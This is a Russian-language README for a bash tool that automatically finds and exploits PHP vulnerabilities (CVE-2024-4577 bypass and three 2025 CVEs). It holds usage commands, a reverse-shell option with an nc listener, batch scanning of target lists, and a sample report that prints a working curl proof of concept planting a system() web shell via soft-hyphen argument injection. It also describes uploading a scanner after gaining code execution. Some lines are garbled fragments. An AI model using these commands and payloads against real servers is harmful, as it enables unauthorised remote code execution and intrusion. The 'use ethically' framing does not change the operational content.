
Автоматизированное обнаружение и эксплуатация критических уязвимостей PHP (CVE-2024-4577 обход, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
Автоматизированное обнаружение и эксплуатация критических уязвимостей PHP (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)
PHP8.1.x_Exploit.sh — это однофайловый, не требующий настройки инструмент оценки безопасности, который автоматически находит уязвимые конечные точки PHP и эксплуатирует четыре критические CVE, затрагивающие версии PHP до 8.1.34 (выпущены в декабре 2024). Он не требует ручной подготовки полезной нагрузки – просто укажите URL, и скрипт сделает всё остальное: от сканирования до удалённого выполнения кода. Полный автопилот – обнаружение и эксплуатация происходят автоматически, без запросов от пользователя.
-d и обход через мягкий дефис %AD.getimagesize()
array_merge.parallel, если доступен, в противном случае работает последовательно.Права root не требуются – инструмент только отправляет HTTP-запросы и опционально выполняет обратный шелл (требуется слушатель на вашей машине).
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
Одиночная цель (наиболее часто)
./PHP8.1.x_Exploit.sh -u http://target.example.com
Одиночная цель с обратным шеллом (CVE-2024-4577)
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
Затем на вашей машине:
nc -lvnp 4444
Пакетное сканирование нескольких целей
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
Пример targets.txt:
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
Режим только сканирования (без попыток эксплуатации)
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
Сохранение отчёта в файл
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
Подробный / отладочный вывод
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # очень шумно
Примечание: CVE-2025-14180 и CVE-2025-14178 могут быть точно обнаружены только изнутри сервера (локальные тесты). Скрипт достигает этого, загружая сканер после успешной эксплуатации CGI.
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '<?php system($_GET["c"]); ?>' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
--revshell открывает сокет от цели к вашей машине. Убедитесь, что у вас есть право на обратное соединение.Приветствуются pull request'ы, сообщения об ошибках и предложения по функциям. Пожалуйста, следуйте:
parallel, так и без него.GNU General Public License v3.0 – см. файл LICENSE.
Сделано с 🧠 для сообщества безопасности. Используйте этично.
| Зависимость | Назначение | Обычно установлено? |
|---|
bash 4.0+ | Интерпретатор скрипта | Да (Linux/macOS) |
curl | HTTP-запросы | Да |
grep, sed, awk | Обработка текста | Да |
mktemp | Создание временных файлов | Да |
(опционально) parallel | Ускорение пакетного сканирования | Нет (но рекомендуется) |
(опционально) jq | Форматирование вывода JSON | Нет |
| Фаза | Действие |
|---|
| 1 | Снятие отпечатка – ОС и версия PHP из заголовков и пробных запросов. |
| 2 | Сбор ссылок – извлекает атрибуты href и action с главной страницы. |
| 3 | Обнаружение CGI – проверяет общие пути и собранные ссылки, похожие на CGI. |
| 4 | Тестирование CVE-2024-4577 – внедряет обе полезные нагрузки -d и %AD; в случае успеха выполняет команды или отправляет обратный шелл. |
| 5 | Обнаружение точки загрузки – проверяет общие пути загрузки и любые формы, содержащие "upload"/"image". |
| 6 | Тестирование CVE-2025-14177 – создаёт некорректный JPEG, отправляет его POST-запросом на каждую точку загрузки, обнаруживает утечки кучи. |
| 7 | Глубокое внутреннее сканирование – если достигнут RCE, загружает PHP-сканер и запускает его для тестирования CVE-2025-14180 / CVE-2025-14178. |
| 8 | Отчётность – выводит сводку и опционально записывает её в файл. |
| Опция | Описание |
|---|
-u URL | URL одиночной цели (например, http://example.com/) |
-l FILE | Файл пакетного сканирования с одним URL на строку |
--scan-only | Только обнаружение – без эксплуатации (без обратного шелла, без загрузки полезных нагрузок) |
-o FILE | Записать итоговый отчёт в FILE |
--threads N | Количество параллельных потоков для пакетного сканирования (по умолчанию: 5) |
--timeout N | Таймаут HTTP в секундах (по умолчанию: 10) |
--no-color | Отключить цветной вывод |
--verbose | Показывать подробный процесс |
--debug | Показывать каждый HTTP-запрос (может раскрыть чувствительные данные) |
--revshell IP PORT | Попытаться выполнить обратный шелл при обнаружении CVE-2024-4577 |
-h, --help | Показать справку и выйти |
| CVE | Серьёзность | Влияние | Вектор эксплуатации | Исправлено в |
|---|
| CVE-2024-4577 (обход) | Критическая | RCE | Внедрение аргументов Windows CGI (отображение мягкого дефиса) | PHP 8.1.34 |
| CVE-2025-14177 | Средняя/Высокая | Утечка информации (память кучи) | Некорректный JPEG, переданный в getimagesize() | PHP 8.1.34 |
| CVE-2025-14180 | Высокая | DoS (разыменование NULL) | PDO PostgreSQL с эмулированными подготовками + некорректный параметр \x99 | PHP 8.1.34 |
| CVE-2025-14178 | Высокая (8.2) | DoS / возможное повреждение памяти | array_merge() с огромными массивами, вызывающее целочисленное переполнение | PHP 8.1.34 |
| Проблема | Решение |
|---|
curl: command not found | Установите curl |
GNU parallel not found | Игнорируется – скрипт работает и без него (медленнее пакетное сканирование) |
| Не найдены конечные точки CGI | Цель может не использовать CGI, или она находится за WAF, блокирующим флаги -d |
| CVE-2024-4577 работает, но обратный шелл не удаётся | Проверьте брандмауэр; попробуйте более простую полезную нагрузку с --scan-only и ручным слушателем nc |
| Тест утечки изображения всегда возвращает "No leak" | Конечная точка загрузки может не использовать getimagesize(), или она очищает двоичные данные |
| Не удаётся загрузить локальный сканер | Корень веб-сервера может быть недоступен для записи; скрипт пытается записать в ту же директорию, где находится CGI-скрипт |